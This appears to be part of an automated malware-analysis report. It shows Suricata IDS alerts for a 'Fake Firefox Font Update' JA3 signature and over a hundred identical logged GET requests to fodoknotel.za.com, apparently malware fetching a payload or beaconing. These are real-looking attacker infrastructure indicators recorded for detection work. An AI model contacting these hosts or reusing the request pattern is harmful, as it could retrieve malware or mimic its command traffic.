Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50202 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50236 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50238 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50242 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50248 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50260 -> 23.237.26.135:443

Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
